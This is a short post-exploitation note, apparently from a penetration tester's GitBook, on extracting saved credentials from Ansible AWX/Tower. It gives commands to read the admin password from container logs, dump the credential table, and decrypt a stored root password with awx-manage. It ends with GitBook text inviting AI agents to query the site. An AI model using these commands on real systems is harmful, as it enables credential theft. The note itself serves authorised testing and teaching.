# Linux - Ansible AWX / Tower

Check for admin password in the logs of tools container.

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker container logs tools_awx_1 | grep -i "admin pass"                                                                                                                                                                                  
Admin password: gzFjwNsEioLewVfjELsV
```

List `name` and `input` from table `main_credential`. In this example I've done bare minimum where the database name is default `awx` and I've not set any password for authentication.

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker exec -it tools_postgres_1 psql awx -c "SELECT name,inputs FROM main_credential;"                                                                                                                                                   
      name       |                                                                                                                                 inputs

Decrypt password / secret / ssh\_key\_data with a simple one-liner:

```bash
apt-kali :: ~/awx ‹24.4.0*› » docker exec -it tools_awx_1 awx-manage shell_plus --quiet-load -c 'from awx.main.utils import decrypt_field; name = Credential.objects.get(name="ssh_localhost"); print(decrypt_field(name, "username"), decrypt_field(name, "password"))'
root MyS3cr3TP455W0rrrD=)
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xpthree.gitbook.io/notes/post-exploit/saved-credentials/linux-ansible-awx-tower.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
